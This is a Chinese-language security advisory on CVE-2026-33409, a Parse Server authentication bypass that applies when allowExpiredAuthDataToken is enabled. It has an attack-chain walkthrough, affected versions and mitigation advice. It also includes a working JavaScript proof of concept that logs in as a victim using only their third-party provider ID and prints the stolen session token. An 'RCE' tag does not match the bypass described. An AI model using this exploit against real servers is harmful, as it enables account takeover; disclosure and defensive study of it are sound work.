IPBUF安全漏洞报告
English
CVE-2026-33409 CVSS 9.1 严重

CVE-2026-33409 Parse Server 身份认证绕过漏洞

披露日期: 2026-03-24

漏洞信息

漏洞编号
CVE-2026-33409
漏洞类型
身份认证绕过
CVSS评分
9.1 严重
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Parse Server

相关标签

身份认证绕过Parse Server严重漏洞CVE-2026-33409RCE

漏洞概述

Parse Server 在特定配置下存在严重的身份认证绕过漏洞。该漏洞影响启用了第三方身份验证提供商且服务器选项 allowExpiredAuthDataToken 设置为 true 的部署(默认为 false)。在此配置下,攻击者无需知道用户密码,仅需知道用户的第三方提供商 ID,即可冒充任意已链接第三方账户的用户登录。成功利用此漏洞可导致攻击者获取目标用户的完整账户访问权限及有效的会话令牌,从而完全接管账户。该问题已在版本 8.6.52 和 9.6.0-alpha.41 中得到修复。

技术细节

该漏洞源于 Parse Server 在处理第三方身份验证时的逻辑缺陷。当 allowExpiredAuthDataToken 选项被开启时,服务器在验证用户身份时未正确校验第三方令牌的时效性或完整性。攻击者利用这一逻辑漏洞,通过构造特定的请求,仅提供目标用户的第三方提供商 ID(如 authData 中的 id 字段),即可绕过正常的凭证验证流程。服务器错误地将此视为有效的身份验证数据,并为攻击者签发新的会话令牌。由于无需交互(UI:N)且无需认证(PR:N),攻击者可远程利用此漏洞,直接获取管理员或普通用户的最高权限,严重威胁系统的机密性和完整性。

攻击链分析

STEP 1
信息收集
攻击者识别目标使用 Parse Server,并确认其启用了第三方身份验证(如 Facebook、Google 登录)。
STEP 2
枚举目标
攻击者获取目标用户的第三方提供商 ID(Provider ID)。这可能通过社工、公开信息或其他泄露渠道获得。
STEP 3
发送伪造请求
攻击者向 Parse Server 的登录端点发送特制请求,Payload 中包含目标的 Provider ID,但不提供有效凭证。
STEP 4
绕过验证
由于 allowExpiredAuthDataToken 为 true,服务器接受该请求并绕过严格的令牌验证。
STEP 5
获取权限
服务器返回包含有效 sessionToken 的响应,攻击者利用该令牌完全接管目标用户账户。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
// Conceptual PoC for Parse Server Auth Bypass (CVE-2026-33409) // This script demonstrates how an attacker can login as a user // if 'allowExpiredAuthDataToken' is enabled. const axios = require('axios'); const TARGET_URL = 'http://vulnerable-parse-server.com/parse/login'; const APP_ID = 'YOUR_PARSE_APP_ID'; async function exploitAuthBypass(targetUserId) { const payload = { authData: { // Example provider: facebook, google, etc. // The attacker only needs the 'id' of the victim's provider account. facebook: { id: targetUserId, access_token: 'expired_or_invalid_token' // Validation is bypassed } } }; const headers = { 'X-Parse-Application-Id': APP_ID, 'Content-Type': 'application/json' }; try { const response = await axios.post(TARGET_URL, payload, { headers }); if (response.data && response.data.sessionToken) { console.log('[+] Exploit Successful!'); console.log(`[+] Session Token: ${response.data.sessionToken}`); console.log(`[+] User Object: ${JSON.stringify(response.data)}`); } else { console.log('[-] Exploit Failed: No session token returned.'); } } catch (error) { console.log(`[-] Request Failed: ${error.message}`); } } // Usage: Replace '123456789' with the victim's provider ID exploitAuthBypass('123456789');

影响范围

Parse Server < 8.6.52
Parse Server >= 9.0.0, < 9.6.0-alpha.41

防御指南

临时缓解措施
如果无法立即升级补丁,请立即检查服务器配置,确保 allowExpiredAuthDataToken 选项设置为 false(默认值)。禁用该选项可修复认证绕过逻辑,防止攻击者利用过期或无效的第三方令牌进行登录。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表